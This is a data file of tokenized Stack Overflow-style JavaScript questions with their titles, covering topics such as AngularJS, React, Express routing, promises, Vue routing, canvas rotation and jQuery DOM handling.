Cloning into public/javascripts/vendor/rad_dependency ... remote : Counting objects : 34 , done.remote : Compressing objects : 100 % ( 29/29 ) , done.remote : Total 34 ( delta 9 ) , reused 0 ( delta 0 ) Receiving objects : 100 % ( 34/34 ) , 12.21 KiB , done.Resolving deltas : 100 % ( 9/9 ) , done.Submodule path 'public/javascripts/vendor/rad_dependency ' : checked out '563b51c385297c40ff01fd2f095efb14dbe736e0'my_project [ feature/new_feature√ ] $ git checkout develop warning : unable to rmdir public/javascripts/milkshake/lib/cf-exception-notifier-js : Directory not emptySwitched to branch 'develop'my_project [ develop⚡ ] $ git status # On branch develop # Untracked files : # ( use `` git add < file > ... '' to include in what will be committed ) # # public/javascripts/milkshake/lib/cf-exception-notifier-js/nothing added to commit but untracked files present ( use `` git add '' to track )","Git submodules , switching branches , and the recommended way to include external JS dependencies ( oh my )" "JS : I am using ZingChart . At loading of the page the chart successfully loads the data from MySql database . But after some interval when the database is updated how to load the latest data ? Please help me out . I have tried the following code in my index.php page to do this but it does not work.and using this code in feed.php page < script > var myData= [ < ? php $ conn =mysql_connect ( `` localhost '' , '' root '' , '' '' ) or die ( `` we could n't connect ! `` ) ; mysql_select_db ( `` webauth '' ) ; $ rs = mysql_query ( `` SELECT * FROM test '' ) or die ( mysql_error ( ) ) ; while ( $ row = mysql_fetch_array ( $ rs ) ) { echo $ row [ 'label ' ] . ' , ' ; } ? > ] ; var myLabels= [ < ? php $ conn =mysql_connect ( `` localhost '' , '' root '' , '' '' ) or die ( `` we could n't connect ! `` ) ; mysql_select_db ( `` webauth '' ) ; $ rs = mysql_query ( `` SELECT * FROM test '' ) or die ( mysql_error ( ) ) ; while ( $ row2 = mysql_fetch_array ( $ rs ) ) { echo ' '' '. $ row2 [ 'value ' ] . ' '' ' . ' , ' ; } ? > ] ; window.onload=function ( ) { window.alert ( myData ) ; zingchart.render ( { id : 'chartDiv ' , data : { `` type '' : '' bar '' , `` scale-x '' : { `` values '' : myLabels , } , `` series '' : [ { `` values '' : myData } ] , `` refresh '' : { `` type '' : '' feed '' , `` transport '' : '' http '' , `` url '' : '' feed.php ? `` , `` interval '' :200 } , } } ) ; } < /script > < script > var myData= [ < ? php ? > [ { $ conn =mysql_connect ( `` localhost '' , '' root '' , '' '' ) or die ( `` we could n't connect ! `` ) ; mysql_select_db ( `` webauth '' ) ; $ rs = mysql_query ( `` SELECT * FROM test '' ) or die ( mysql_error ( ) ) ; while ( $ row = mysql_fetch_array ( $ rs ) ) { `` plot < ? php echo $ row [ 'label ' ] . ' , ' ; } ? > '' ] ; } ] var myLabels= [ < ? php ? > [ { $ conn =mysql_connect ( `` localhost '' , '' root '' , '' '' ) or die ( `` we could n't connect ! `` ) ; mysql_select_db ( `` webauth '' ) ; $ rs = mysql_query ( `` SELECT * FROM test '' ) or die ( mysql_error ( ) ) ; while ( $ row2 = mysql_fetch_array ( $ rs ) ) { `` plot < ? php echo ' '' '. $ row2 [ 'value ' ] . ' '' ' . ' , ' ; } ? > '' ] ; } ] < /script >",ZingChart how to load latest data after some interval and update chart "JS : Why is it in JavaScript that the following results in false : But this results in true : In all cases the left and right are both 10 , they should all result in true should n't they ? 10 === 000000010 ( false ) 010 === 000000010 ( true )",Why in JavaScript does 10 === 010 result in false "JS : I encountered this when migrating from 1.2.14 to 1.4.8 . This works fine in 1.2.14 , but I get an infinite $ digest ( ) loop in 1.4.8 . Here is a Fiddle demonstrating the problem . The Fiddle is a lot easier to look at than this post , but SO is making me include codeI have a select element that looks like this : My options are objects , like this : The array of options I want to give the ngOptions directive depends on conditions ; sometimes I just want to give it $ scope.options , but sometimes I want to include another option . Now , if I programmatically set my model to 3 : ... Angular wo n't be upset , even though that option does n't exist . It just adds an < option > node to the < select > element : < option value= '' ? '' selected= '' selected '' > < /option > and the selected value in the dropdown appears blank.But if I then set my state s.t . my getOptions ( ) returns that additional option : ... I get an infinite $ digest ( ) loop . Is there a nice way of avoiding a problem like this ? Do you think it 's a bug in Angular ( it is technically a regression ) , or is this just ... not a way I should be using ngOptions ? ~~~ Again , I have a nice Fiddle for you to play around with ! ! ~~~ < select ng-model= '' selectedId '' ng-options= '' opt.id as opt.label for opt in getOptions ( ) '' > $ scope.options = [ { id : 1 , label : 'one ' } , { id : 2 , label : 'two ' } ] ; $ scope.getOptions = function ( ) { if ( $ scope.showThirdOption ) return [ { id : 3 , label : 'three ' } ] .concat ( $ scope.options ) ; else return $ scope.options ; } ; ... $ scope.selectedId = 3 ; ... ... $ scope.selectedId = 3 ; $ scope.showThirdOption = true ; ...",AngularJS 1.4.8 - ngOptions in a select - infinite $ digest ( ) loop when I programmatically set model before option is in ngOptions "JS : I 'm trying to convert following expression to `` new Regexp ( ) '' style : http : //jsfiddle.net/HDWBZ/I 'm really confused with it and have no idea how to fix it . Below is what I 've done but obviously it does n't work.Also have a question how would it look if instead of `` test '' I would use variable ? var Wyrazenie = /\btest [ a-z ] */g ; var Wyraznie = new RegExp ( `` \btest [ a-z ] * '' , '' g '' ) ;",new Regexp does n't work "JS : I 'm trying to understand React 's Higher Order Component structure , but all the resources just assume you already understand what the purpose of the spread operator is doing in the higher order component when you write : BaseComponent { ... this.props } { ... this.state } . Why is it necessary to spread out the props like that if a component is already being passed in as props ? import React , { Component } from 'react ' ; const EnhanceComponent = BaseComponent = > { return class EnhancedComponent extends Component { state = { name : 'You have been enhanced ' } render ( ) { return ( < BaseComponent { ... this.props } { ... this.state } / > ) } } } ; export default EnhanceComponent ;",What is the purpose of spreading props in React Higher Order Components ? "JS : Is it possible to know if an input type = datetime-local is halfway filled ? For example , if only the date or time is filled ? The element object value of the input tag is empty no matter if it is empty or halfway filled . Date.parse returns NaN as well for both cases . Is there a possible solution ? I 'm using Jquery & AngularJS if those could help . Feel free to post cleaner solutions using other input types ( no extra libraries ) . The aim is for the user to fill both fields out.EDIT : Field can either be left blank or fully filled . I need to know if it 's half filled so I can prompt the user or calculate the required date myself . < input type= '' datetime-local '' class= '' form-control input-lg '' id= '' dueDate '' ng-model= '' jobDueDate '' min= '' { { currentMin | date : 'yyyy-MM-ddTHH : mm ' } } '' placeholder= '' Due Date '' > var valuedate = document.getElementById ( 'dueDate ' ) ; console.log ( valuedate.value ( ) ) ;",Is it possible to know if an input type = datetime-local is halfway filled ? "JS : I have my JavaScript code split into few files , all using the module pattern ( updating one global variable , say MyApp , with new features and members.Will it be possible to minify the files into one and not spoiling the scopesExample I want to minify : File1.jsFile2.js var Module = ( function ( ns ) { ns.fun1 = function ( ) { alert ( 'fun1 ' ) ; } ; return ns ; } ) ( Module || { } ) ; var Module = ( function ( ns ) { ns.fun2 = function ( ) { alert ( 'fun2 ' ) ; } ; return ns ; } ) ( Module || { } ) ;",Can you minify multiple files into one ? "JS : I want to create automatic routing in express , currently i can read directory and add route manually from all available files , added route can also be updated if there are changes in route fileBut those are only work only before app listen to port , How to add / remove new route stack after the app listening to port ? One way i can think is close the server configure/add/remove the route the re listen , but i guess that is a bad practice delete require.cache [ require.resolve ( scriptpath ) ] ; var routescript = { } ; try { routescript = require ( scriptpath ) ; } catch ( e ) { console.log ( 'Express > > Ignoring error route : ' + route + ' ~ > ' + scriptpath ) ; } var stack_index = app._router.stack_map [ route ] var stack = app._router.stack [ stack_index ] ; if ( stack ) { app._router.stack [ stack_index ] .handle = routescript ; console.log ( 'Replace Route Stack \ '' + route + '\ '' ) ; } else { app.use ( route , routescript ) ; var stack_index = app._router.stack_map [ route ] = ( app._router.stack.length-1 ) ; console.log ( 'Add Route Stack \ '' + route + '\ '' ) ; }",How to add express route if the app already listening ? "JS : I have a directive in which I bind focus and click events to element : I want to call foo once if focus or click event fired . But when clicking on element , focus event gets fired and foo gets called twice . how to prevent calling foo for the second time ? Edit : Yes . I was n't a good idea to mix hover with click and focus . Thanks every body app.directive ( 'mydirective ' , function ( ) { return { link : function ( $ scope , $ element , $ attrs ) { $ element.bind ( 'click focus ' , function ( e ) { foo ( e ) ; } ) ; } } ; } ) ;",how to call foo only if click OR focus fired JS : Is there any other way in `` use strict '' ; javascript to initialize a value to multiple variables ? Because doing this : will cause error : Uncaught ReferenceError : y is not definedGot my reference here : Set multiple variables to the same value in Javascript var x = y = 14 ;,`` use strict '' : Assign Value to Multiple Variables "JS : I 'm trying to execute an asynchronous routine for a bunch of items in a list that I get from a database , but I 'm having trouble understanding how promise.all works and what it does.Here is the code I 'm using right now : Right now , the only thing I get in the log is ~~~ Now updating all listing prices from Amazon API ~~~I 've tried adding a logging piece into the routine that is called and the routines all run successfully and log what they should , but promise.all.then does n't execute.I 've tried just doing : Promise.all ( bleh ) .then ( console.log ( `` We did it '' ) ) ; and that worked , but when I put a function in the Then , nothing runs.Please help ! /** * Queues up price updates */function updatePrices ( ) { console.log ( `` ~~~ Now updating all listing prices from Amazon API ~~~ '' ) ; //Grabs the listings from the database , this part works fine fetchListings ( ) .then ( function ( listings ) { //Creates an array of promises from my listing helper class Promise.all ( listings.map ( function ( listing ) { //The promise that resolves to a response from the routine return ( listing_helper.listingPriceUpdateRoutine ( listing.asin ) ) ; } ) ) .then ( function ( results ) { //We want to log the result of all the routine responses results.map ( function ( result ) { console.log ( result ) ; } ) ; //Let us know everything finished console.log ( `` ~~~ Listings updated ~~~ '' ) ; } ) .catch ( function ( err ) { console.log ( `` Catch : `` , err ) ; } ) ; } ) ; }",Node JS Async Promise.All issues "JS : Often while reading JavaScript source code I see these two lines together on the top.Now , I very well know the purpose of 'use strict ' ; . Can someone enlighten me why jshint globalstrict is included ? /* jshint globalstrict : true */'use strict ' ;",Purpose of ` jshint globalstrict : true ` with 'use strict ' "JS : I have a Vue2 SPA page which is loading content from the server.It is editable by client in a CMS.When user is adding relative link ( lets say /about-us ) , this should be picked by Vue and treated as the menu link ( which already has /about-us link ) . However link to /about-us added in the content is reloading the whole page , so it is not picked as vue route.How is it possible to attach router to such links ? What I did so far is changing the content in the backend response.So I am essentially changing intoUsing : Still no luck . How is this possible ? < a href= '' /about-us '' > Text < /a > < router-link : to= '' { path : '/about-us ' } '' > Text < /router-link > function parseVueLinks ( $ value ) { $ pattern = `` / < a ( [ ^ > ] * ) href=\\\ '' [ ^http|https|mailto|tel ] ( [ ^\\\ '' ] * ) \ '' ( [ ^ > ] * ) > ( .* ? ) < ( \\/a > ) / '' ; $ replace = `` < router-link $ 1 : to=\ '' { path : ' $ 2 ' } \ '' > $ 4 < /router-link > '' ; return preg_replace ( $ pattern , $ replace , $ value ) ; }",Vue2 Router link from server data "JS : Why does this code work ? Should n't it be ? How does setTimeout convert string to function ? setTimeout ( `` document.body.innerHTML = 'TEST ' '' , 1000 ) setTimeout ( function ( ) { document.body.innerHTML = 'TEST ' } , 1000 )",Running string as function in javascript setTimeout ? "JS : I am trying to change the table style for CKeditor , since it keeps outputting this.I want to output something like this instead.How do I make this possible ? I have tried config.allowedContent = true ; but that did n't work , it still outputs the annoying white background on my dark theme.I am using CKeditor plugin for MyBB . < table class= '' ckeditor_table '' style= '' width : 100 % ; border-collapse : collapse ; border-spacing:0 ; table-layout : fixed ; border : 2px solid # 333 ; background : # fff ; '' > < tr > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < /tr > < tr > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < /tr > < tr > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /td > < td style= '' border : 1px dashed # 999 ; padding : 3px 5px ; vertical-align : top ; min-height:20px ; '' > < /table > < table class= '' table '' > < tr > < td > < /td > < td > < /td > < td > < /td > < /tr > < /table >",CKeditor - Change table style "JS : I have an array with Twitter hashtags . And I want to filter a string tw.text for those hashtags and wrap the words in a spanHow would I do that ? Thank you in advance . var hashtags = new Array ( `` home '' , '' car '' , `` tree '' ) ; tw.text.replace ( ' # home ' , ' < span class= '' hash '' > # home < /span > ' )",Javascript : Text Replace for multiple strings in array ? "JS : I know that ES6 solved a lot of problems that existed with the this keyword in ES5 , such as arrow functions and classes.My question relates to the usage of this in the context of an ES6 class and why it has to be written explicitly . I was originally a Java developer and I come from a world where the following lines of code were perfectly natural.The compiler will always refer to the value of the field myName , unless it has a local variable with the name myName defined in the scope of the method.However , once we convert this code to ES6 : This wo n't work and it will throw an Uncaught ReferenceError : myName is not defined . The only way to fix this is to throw in an explicit this reference : I understand the need for this in the constructor since ES6 classes do n't allow your fields to be defined outside of the constructor , but I do n't understand why the Javascript engines ca n't ( or wo n't , because of the standard ) do the same as Java compilers can in the case of sayMyName class Person { private String myName ; public Person ( ) { myName = `` Heisenberg '' ; } public void sayMyName ( ) { System.out.println ( `` My name is `` + myName ) ; } } class Person { constructor ( ) { this.myName = `` Heisenberg '' ; } sayMyName ( ) { console.log ( ` My name is $ { myName } ` ) ; } } console.log ( ` My name is $ { this.myName } ` )",Why is `` this '' in an ES6 class not implicit ? "JS : I was wondering if anyone had any resources , proof , or personal experience in using the age-old http/https JavaScript < script > hack : Has anyone encountered issues in any of these browsers ( IE 5.5+ , FF2+ , Chrome , Opera 9+ , Safari 3+ ) ? Has anybody had success stories ? < script src= '' //someserver.com/js/script.js '' > < /script >",Using // in a < script > 's source "JS : I have an image loaded into the canvas . I ca n't ( drag ) move the image properly , after it is rotated . Actually , it moves but it moves based on the image 's coordinate plane . So moving a 90 degree rotated image to the right , moves down and not to the right as expected . What could be a good way to solve this problem ? This is my draw function : Here is the jsdiddle where you can simulate it and see what I mean.PS : You can rotate the image with the slider on the left . The bottom slider is for zooming . Please re-run the fiddle if the image does not appear in the first load . function draw ( ) { var im_width = parseInt ( imageObj.width + resizeAmount ) ; var im_height = parseInt ( imageObj.height + resizeAmount ) ; var rotationAmount = rotationVal - prevRotation ; prevRotation = rotationVal ; context.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; context.translate ( canvas.width/2 , canvas.height/2 ) ; context.rotate ( rotationAmount * Math.PI / 180 ) ; context.translate ( -canvas.width/2 , -canvas.height/2 ) ; context.drawImage ( imageObj , moveXAmount , moveYAmount , im_width , im_height ) ; }",How can i move rotated canvas image whitout disorientation ? "JS : I 'd like to show and hide a tooltip when mouseover / mouseout on the polyline path , the issue is that my polyline path has a stroke width 2 only , so is not easy to hit that area in the mouseover event , that 's definitely inconvenient to user experience.I 'd like to know if there 's a way to make that hit area wider using an arbitrary width , but invisible to the user ? snippet of my code belowAny help would be appreciated : ) path = new google.maps.Polyline ( plotOptions ) ; path.setMap ( that.map ) ; this.polyPathArray.push ( path ) ; google.maps.event.addListener ( path , 'mouseover ' , ( function ( index ) { return function ( polyMouseevent ) { $ ( `` .table > tbody > tr > td '' ) .removeClass ( 'highlight ' ) ; $ ( `` .table > tbody > tr '' ) .eq ( index ) .find ( `` td '' ) .addClass ( 'highlight ' ) ; var latlngVal = `` ; if ( polyMouseevent ) { latlngVal = polyMouseevent.latLng ; } else { //calculate a random position on a polyline } that.infowindows [ index ] .setPosition ( latlngVal ) ; that.infowindows [ index ] .open ( that.map ) ; } ; } ) ( i ) ) ;",How to increase mouseover “ hit area ” in polyline geomap "JS : In the following code , the actual length of user.roles is 1 . However , the loop runs two times . When I output the value of i , it is shown as 'diff ' for the second iteration.Switching to the ordinary for loop resolved the situation.However , I 'd like to know what the issue is with the for..in loop . Update : user is an object , and roles is an array of objects . The instance of roles that caused the issue is shown below : for ( var i in user.roles ) { if ( user.roles [ i ] .school.equals ( schoolId ) ) { for ( var j in user.roles [ i ] .permissions ) { for ( var k in accessType ) { if ( user.roles [ i ] .permissions [ j ] .feature == featureKey ) { if ( user.roles [ i ] .permissions [ j ] [ accessType [ k ] ] ) { return true ; } } } } } } { `` _id '' : `` 582d3390d572d05c1f028f53 '' , `` displayName '' : `` Test Teacher Attendance '' , `` gender '' : `` Male '' , `` roles '' : [ { `` _id '' : `` 57a1b3ccc71009c62a48a684 '' , `` school '' : `` 57a1b3ccc71009c62a48a682 '' , `` role '' : `` Teacher '' , `` __v '' : 0 , `` designation '' : true , `` permissions '' : [ { `` feature '' : `` User '' , `` _id '' : `` 57ac0b9171b8f0b82befdb7d '' , `` review '' : false , `` view '' : true , `` delete '' : false , `` edit '' : false , `` create '' : false } , { `` feature '' : `` Notice '' , `` _id '' : `` 57ac0b9171b8f0b82befdb7c '' , `` review '' : false , `` view '' : true , `` delete '' : false , `` edit '' : false , `` create '' : false } , ] } ] , }",Javascript : for..in loop running more number of times than expected "JS : I have a file containingAnd I would like to read it with Jquery and store them in Local Database in OpenDataBase , with 1 will be a number of step and Benz will be the other field in data base.my code for reading the fileand my code for creating databaseI do n't know how can i separate the data and put them in database with javascript.Thanks . 1 : `` Benz '' 2 : `` Bmw '' 3 : `` Porche '' 4 : `` Ferrari '' jQuery.get ( 'file/words.txt ' , function ( data ) { alert ( data ) } ) ; var db = openDatabase ( ’ mydb ’ , ’ 1.0 ’ , ’ database for test ’ , 2 * 1024 * 1024 ) ; db.transaction ( function ( tx ) { tx.executeSql ( ’ CREATE TABLE IF NOT EXISTS Car ( number INT , name VARCHAR ( 100 ) ) ’ ) ; } ) ;",Read a text file with JQuery and store in DataBase "JS : Suppose I have the following source structure.All the domain files contains something likeThe index file looks like thisThen in works perfectly fine to import like this in my home component.or But when auto-importing WebStorm insists on importing the interfaces like thisIs there any way to have WebStorm to prefer to import from the index file ? /home home.component.ts/shared /domain car.domain.ts house.domain.ts person.domain.ts index.ts export interface Car { someProperty : number ; } export * from './car.domain ' ; export * from './house.domain ' ; export * from './person.domain ' ; import { Car , Person } from '../shared/domain ' ; import { Car , Person } from '../shared/domain/index ' ; import { Car } from '../shared/domain/car.domain ' ; import { Person } from '../shared/domain/person.domain ' ;",WebStorm to import from index file when using SystemJS module system "JS : In the interest of learning how to do this more efficiently , i 'm curious to any thoughts of how to improve this or if i 'm walking down the wrong road all together . So far I have written , http : //jsfiddle.net/mstefanko/LEjf8/9/This handles basically what I want it to on a small scale.There are some bugs and I do n't feel confident at all that this is as good as it could be written , might be an idiot for not trying to latch onto jquery ui sortable . But with needing to do this without a simple list of items , and with wanting to expand this to include multiple drag and drop , I wanted to at least walk through what I needed to do to make this happen even if it was just to learn how sorting functions like these work . The problem child , This is all in a function called on the over event of the droppable ( ) I have an array of empty spotscid is the droppable element that you 're over top of , so I find the next open slot using If there is a an empty slot further down the list , I use a for loop to loop through moving the items around the DOM to make the space needed to drop the element.If there is not one further down the list , I do the same thing in reverse to check if there is a spot above the droppable to push items up into.Any thoughts are extremely appreciated ! var emptyHolders = [ ] ; $ ( '.pipeline-holder ' ) .each ( function ( ) { if ( $ ( this ) .hasClass ( 'holder-empty ' ) ) { var eid = $ ( this ) .attr ( 'id ' ) ; emptyHolders.push ( eid.substring ( 14 ) ) ; } } ) ; for ( var i = 0 ; i < emptyHolders.length ; i++ ) { var currentEmpty = emptyHolders [ i ] ; if ( currentEmpty > cid ) { nextEmpty = currentEmpty ; i = emptyHolders.length ; } else { prevEmpty = parseInt ( currentEmpty ) ; } } if ( nextEmpty ! = null ) { var moveMe = nextEmpty -1 ; for ( var i = moveMe ; i > = cid ; i -- ) { var nextcount = i + 1 ; var me = $ ( ' # pipeline-rank- ' + i ) ; var next = $ ( ' # pipeline-rank- ' + i ) .parents ( '.pipeline-rank-row ' ) .next ( ) .find ( '.pipeline-holder ' ) ; var pid = $ ( ' # pipeline-rank- ' + i ) .find ( '.content-wrapper ' ) .attr ( 'id ' ) ; next.append ( $ ( ' # pipeline-rank- ' + i ) .find ( '.content-wrapper ' ) ) ; next.removeClass ( 'holder-empty ' ) ; next.siblings ( '.remember-my-position-hover ' ) .html ( pid ) ; } $ ( ' # pipeline-rank- ' + cid ) .addClass ( 'holder-empty ' ) ; }",Jquery Sortable style function with empty spots "JS : The duplicate suggested is the question where I got the basis for this question , so it is not a duplicate ! As a matter of fact , I already have linked to that question from the start ... GOOD EDIT : I made a JSFiddle ( my first time : ) ) . Notice how the textarea does not expand as one would wish . Type something inside the textarea and it will get resized immediately.If we can automatically send a keypress event , it may work ... ( this relevant question did not help , the answers had no effect ) .I am using the textarea as is from here . Then , I read from a file and I am putting the content inside the textbox , but it does n't get resized as it should.I update the textbox like this : Any ideas ? I am on firefox 34.0 canonical , at Ubuntu 12.04 , if that plays some role , which I hope is not the case , since some of my users use Chrome.EDIT : An attempt would be to write something like this : Note that if we try to find out how many lines of text the textarea contains , we will get 1 as an answer.EDIT_2Maybe something like width/ ( length_of_line * font_size ) . For a few tests , it seems to be correct , if I subtracted 1 ( by keeping only the integer part of the result of course ) . function updateTextbox ( text ) { $ ( ' # cagetextbox ' ) .val ( text ) ; } ; $ ( ' # cagetextbox ' ) .attr ( `` rows '' , how many rows does the new text contain ) ;",Force resizement when reading text from file "JS : Why does the following code needs to add ( and ) for eval ? PS : $ ( `` # status '' ) .val ( ) is returning something like { `` 10000048 '' : '' 1 '' , '' 25000175 '' : '' 2 '' , '' 25000268 '' : '' 3 '' } ; var strJson = eval ( `` ( `` + $ ( `` # status '' ) .val ( ) .replace ( `` ; '' , '' '' ) + `` ) '' ) ;",Why do we need to add parentheses to eval JSON ? "JS : I am trying to load a transit website so I can scrape the stop times for a given stop . After I load the url , the stop times are loaded in a bit later dynamically through javascript . My goal is to detect the presence of elements with a class of `` stop-time '' . If these elements are present in the html I can then parse the html . But before I can parse the html I have to wait for these elements with class of `` stop-time '' to appear . I read through a bunch of other SO questions but I could n't quite piece it together . I am implementing the didReceive message function but I 'm not really sure how to load in the javascript I need to detect the presence of the elements ( elements with class of `` stop-time '' ) . I successfully injected some javascript to prevent the location permission popup from showing . override func viewDidLoad ( ) { super.viewDidLoad ( ) let contentController = WKUserContentController ( ) let scriptSource = `` navigator.geolocation.getCurrentPosition = function ( success , error , options ) { } ; navigator.geolocation.watchPosition = function ( success , error , options ) { } ; navigator.geolocation.clearWatch = function ( id ) { } ; '' let script = WKUserScript ( source : scriptSource , injectionTime : .atDocumentStart , forMainFrameOnly : true ) contentController.addUserScript ( script ) let config = WKWebViewConfiguration ( ) config.userContentController = contentController webView = WKWebView ( frame : .zero , configuration : config ) self.view = self.webView ! loadStopTimes ( `` https : //www.website.com/stop/1000 '' ) } func loadStopTimes ( _ busUrl : String ) { let urlString = busUrl let url = URL ( string : urlString ) ! let urlRequest = URLRequest ( url : url ) webView ? .load ( urlRequest ) } func userContentController ( _ userContentController : WKUserContentController , didReceive message : WKScriptMessage ) { if ( message.name == `` stopTimesLoaded '' ) { // stop times now present so take the html and parse the stop times } }",How can I detect when an element is visible after loading website in WKWebView ? "JS : Given a 3 by 3 table , i want to add a class to all the cells of 3rd column .I have tried doing but the problem is writing 3 lines of code . Can a single line of code do it ? $ ( 'td : eq ( 3 ) ' ) .addclass ( 'special ' ) ; $ ( 'td : eq ( 5 ) ' ) .addclass ( 'special ' ) ; $ ( 'td : eq ( 8 ) ' ) .addclass ( 'special ' ) ;",Traversing a table column -jQuery "JS : I have a piece of code that opens a window with : Now I want to run another block when window `` win '' is closed . What is the event and how do I run code on its detection ? $ ( `` # authorization_link '' ) .click ( function ( ) { win = window.open ( $ ( this ) .attr ( `` href '' ) , 'width=800 , height=600 ' ) ; } ) ;",How can I detect the closing of an external window in JS ? "JS : Playing around with youtube api and reactjsI am calling youtube api . Recently noticed there is create in axios so I wanted to use it but somehow params kept on overwrittenWhat am I doing wrong here ? I have a file named youtube.apithen inside my react handleOnSubmit import youtube from '../apis/youtube ' ; I get an error of https : //www.googleapis.com/youtube/v3/search ? q=book 400the params of part and key are missing from the url though.Can someone please give me a hand ? Thanks in advance import axios from 'axios ' ; export default axios.create ( { baseURL : 'https : //www.googleapis.com/youtube/v3 ' , params : { part : 'snippet ' , key : 'blahkey ' , } } ) ; handleOnSubmit = async ( e ) = > { e.preventDefault ( ) ; console.log ( this.state.query ) ; const response = await youtube.get ( '/search ' , { params : { q : this.state.query } } ) ; console.log ( response , 'response ' ) ; } ; console.log ( response , 'response ' ) ;",axios get params does not inherit the params in create "JS : I have a function which triggers children checkboxes once main checkbox is checked , and all these checkboxes are mapped from JSON . The main checkboxes ( Highest level ) and all of its children checkboxes ( 2nd level ) under them are shown on click and its working great , what I am trying to display is the children of those children of the main checkboxes ( 3rd level ) on clicking the 2nd level items.Basically to show all three orders under each other on check , and add the 3rd order to my current code , so Options Group shows Options , and under Options is what I want to show , which are Option 1 , Option 2 , option 3 and so on.. The checkbox values are passed as props from Checkbox.js to Itemlist.js where the fetch/map happens. ( P.S . I have selection limit on each section in case anyone got confused about the selection process , which is not relevant to this question and can be ignored ) Main Snippet : https : //codesandbox.io/embed/6jykwp3x6n ? fontsize=14The 3rd level targeted boxes for demonstration only : https : //codesandbox.io/embed/o932z4yr6y ? fontsize=14 , Checkbox.jsItemlist.js Where the mapping function happen import React from `` react '' ; import `` ./Checkbox.css '' ; class Checkboxes extends React.Component { constructor ( props ) { super ( props ) ; this.state = { currentData : 0 , limit : 2 , checked : false } ; } selectData ( id , event ) { let isSelected = event.currentTarget.checked ; if ( isSelected ) { if ( this.state.currentData < this.props.max ) { this.setState ( { currentData : this.state.currentData + 1 } ) ; } else { event.preventDefault ( ) ; event.currentTarget.checked = false ; } } else { if ( this.state.currentData > = this.props.min ) { this.setState ( { currentData : this.state.currentData - 1 } ) ; } else { event.preventDefault ( ) ; event.currentTarget.checked = true ; } } } render ( ) { const input2Checkboxes = this.props.options & & this.props.options.map ( item = > { return ( < div className= '' inputGroup2 '' > { `` `` } < div className= '' inputGroup '' > < input id= { this.props.childk + ( item.name || item.description ) } name= '' checkbox '' type= '' checkbox '' onChange= { this.selectData.bind ( this , this.props.childk + ( item.name || item.description ) ) } / > < label htmlFor= { this.props.childk + ( item.name || item.description ) } > { item.name || item.description } { `` `` } < /label > < /div > < /div > ) ; } ) ; return ( < form className= '' form '' > < div > { /** < h2 > { this.props.title } < /h2 > */ } < div className= '' inputGroup '' > < input id= { this.props.childk + this.props.name } name= '' checkbox '' type= '' checkbox '' checked= { this.state.checked } onChange= { this.selectData.bind ( this , this.props.childk + this.props.uniq ) } onChange= { ( ) = > { this.setState ( { checked : ! this.state.checked , currentData : 0 } ) ; } } / > < label htmlFor= { this.props.childk + this.props.name } > { this.props.name } { `` `` } < /label > < /div > { `` `` } { this.state.checked ? input2Checkboxes : undefined } < /div > < /form > ) ; } } export default Checkboxes ; ... const selectedItem = selectedChild.children & & selectedChild.children.length ? selectedChild.children [ this.state.itemSelected ] : null ; ... < div > { selectedItem & & selectedItem.children & & selectedItem.children.map ( ( item , index ) = > ( < Checkboxes key= { index } name= { item.name || item.description } myKey= { index } options= { item.children } childk= { item.id } max= { item.max } min= { item.min } / > ) ) } < /div > ...",Mapping checkboxes inside checkboxes ReactJS "JS : I apologize in advance because this is somehow a silly question , but I just need to know WHY this happens and I did n't find the answer . So , there you go , stack overflow ! In this video ( which I ca n't recommend enough ) around 2:00 mark the guys shows that in Javascript : Anyone knows why ? [ ] + [ ] = empty string [ ] + { } = object { } + [ ] = 0 { } + { } = NaN",Adding empty object and array "JS : Basically when invoking .attr ( `` value '' ) over a text box , It will return its value which was set in the markup , not the value which was set by using .val ( ) .For instance , Js : But while doing the same over a hidden element , the result was different like below , HTML : Js : DEMOThe value attribute got ignored if we set value for that element by using .val ( ) . Anyone have idea on why is this happening ? Relevant link which contains details for this behavior would be more helpful . < input id= '' test '' type= '' text '' value= '' testing '' / > $ ( `` # test '' ) .val ( `` hello '' ) ; console.log ( $ ( `` # test '' ) .val ( ) ) ; //helloconsole.log ( $ ( `` # test '' ) .attr ( 'value ' ) ) ; //testing < input id= '' test1 '' type= '' hidden '' value= '' testing '' / > $ ( `` # test1 '' ) .val ( `` hello '' ) ; console.log ( $ ( `` # test1 '' ) .val ( ) ) ; //helloconsole.log ( $ ( `` # test1 '' ) .attr ( 'value ' ) ) ; //hello",Why .attr ( 'value ' ) of hidden input element not returning original value from html string ? "JS : Bluebird has a promisifyAll function that `` Promisifies the entire object by going through the object 's properties and creating an async equivalent of each function on the object and its prototype chain . '' It creates functions with a suffix Async . Is it possible to replace the old functions entirely ? The replaced functions work just like the original functions with the addition that they also return a Promise , so I thought it should be safe to just replace the old functions entirely . There 's an option to specify a custom suffix option but unfortunately it does n't work for empty string var object = { } ; object.fn = function ( arg , cb ) { cb ( null,1 ) } ; Bluebird.promisifyAll ( object ) ; object.fn // do not want object.fnAsync // = > should replace ` object.fn ` Bluebird.promisifyAll ( object , { suffix : `` } ) ; RangeError : suffix must be a valid identifier","Bluebird PromisifyAll without any Async suffix , 